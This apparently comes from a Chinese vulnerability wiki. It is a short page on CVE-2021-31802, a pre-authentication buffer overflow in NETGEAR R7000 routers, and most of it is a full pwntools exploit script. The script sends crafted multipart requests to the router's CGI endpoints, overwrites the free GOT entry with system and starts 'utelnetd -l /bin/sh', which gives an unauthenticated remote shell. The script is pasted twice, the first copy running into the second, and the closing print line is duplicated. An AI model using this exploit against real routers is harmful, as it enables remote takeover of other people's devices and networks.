跳转至

NETGEAR R7000 缓冲区溢出漏洞(CVE-2021-31802)

漏洞使邻近网络的攻击者可以在受影响的NETGEAR R7000路由器安装上执行任意代码。利用此漏洞不需要身份验证。

影响版本:

运行固件版本1.0.11.116及更低版本的Netgear Nighthawk R7000

详情分析:https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r7000-httpd-preauth-rce/

exploit.py:

# coding: utf-8
from pwn import *
import copy
import sys

def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()

def gen_request(path, headers, files):
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    return request

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def send_payload(file_name_len,files):

    total_payload = 'a'*(609 + 1024 * 58)


    path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']

    f = copy.deepcopy(files)
    f['filename'] = make_filename(file_name_len)
    valid_payload = gen_request(path, headers, f)
    vaild_len = len(valid_payload)
    total_len = 609 + 1024 * 58
    blind_payload_len = total_len - vaild_len
    blind_payload = 'a' * blind_payload_len
    total_payload = blind_payload + valid_payload

    t1 = 0
    t2 = 0
    for i in range(0,58):
        t1 = int(i * 1024)
        t2 = int((i+1)*1024 )
        chunk = total_payload[t1:t2]

    last_chunk = total_payload[t2:]
    # print(last_chunk)


    r = remote(rhost, rport)
    r.send(total_payload)
    sleep(0.5)
    r.close()

def execute():

    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)       

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x20,files)        


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
    send_payload(0x18,files)     


    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)  
    post_request('/genierestore.cgi', headers, f)   

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)  


    f = copy.deepcopy(files)   
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    magic_size =  0x48

    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    free_got_addr = 0x00120920
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
    send_payload(0x20,files)   


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(magic_size,files)   

    system_addr_plt = 0x0000E804
    command = 'utelnetd -l /bin/sh'
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
    post_request('/genierestore.cgi', headers, f) 



def send_request():
    r = remote(rhost, rport)

    login_request='''\
GET / HTTP/1.1\r
Host: %s\r
Cache-Control: max-age=0\r
Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
Cookie: XSRF_TOKEN=1222440606\r
Connection: close\r
\r
'''% rhost

    r.send(login_request)
    a = r.recv(0x1000)
    # print a
    r.close()
    return a
if __name__ == '__main__':
    context.log_level = 'error'

    if (len(sys.argv) < 3):
        print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]

    while True:
        ret = send_request()
        firstline = ret.split('\n')[0]
        if firstline.find('200') != -1:
            break

    execute()# coding: utf-8
from pwn import *
import copy
import sys

def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()

def gen_request(path, headers, files):
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    return request

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def send_payload(file_name_len,files):

    total_payload = 'a'*(609 + 1024 * 58)


    path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']

    f = copy.deepcopy(files)
    f['filename'] = make_filename(file_name_len)
    valid_payload = gen_request(path, headers, f)
    vaild_len = len(valid_payload)
    total_len = 609 + 1024 * 58
    blind_payload_len = total_len - vaild_len
    blind_payload = 'a' * blind_payload_len
    total_payload = blind_payload + valid_payload

    t1 = 0
    t2 = 0
    for i in range(0,58):
        t1 = int(i * 1024)
        t2 = int((i+1)*1024 )
        chunk = total_payload[t1:t2]

    last_chunk = total_payload[t2:]
    # print(last_chunk)


    r = remote(rhost, rport)
    r.send(total_payload)
    sleep(0.5)
    r.close()

def execute():

    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)       

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x20,files)        


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
    send_payload(0x18,files)     


    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)  
    post_request('/genierestore.cgi', headers, f)   

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)  


    f = copy.deepcopy(files)   
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    magic_size =  0x48

    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    free_got_addr = 0x00120920
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
    send_payload(0x20,files)   


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(magic_size,files)   

    system_addr_plt = 0x0000E804
    command = 'utelnetd -l /bin/sh'
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
    post_request('/genierestore.cgi', headers, f) 



def send_request():
    r = remote(rhost, rport)

    login_request='''\
GET / HTTP/1.1\r
Host: %s\r
Cache-Control: max-age=0\r
Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
Cookie: XSRF_TOKEN=1222440606\r
Connection: close\r
\r
'''% rhost

    r.send(login_request)
    a = r.recv(0x1000)
    # print a
    r.close()
    return a
if __name__ == '__main__':
    context.log_level = 'error'

    if (len(sys.argv) < 3):
        print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]

    while True:
        ret = send_request()
        firstline = ret.split('\n')[0]
        if firstline.find('200') != -1:
            break

    execute()
    print('router is exploited!!!')

    print('router is exploited!!!')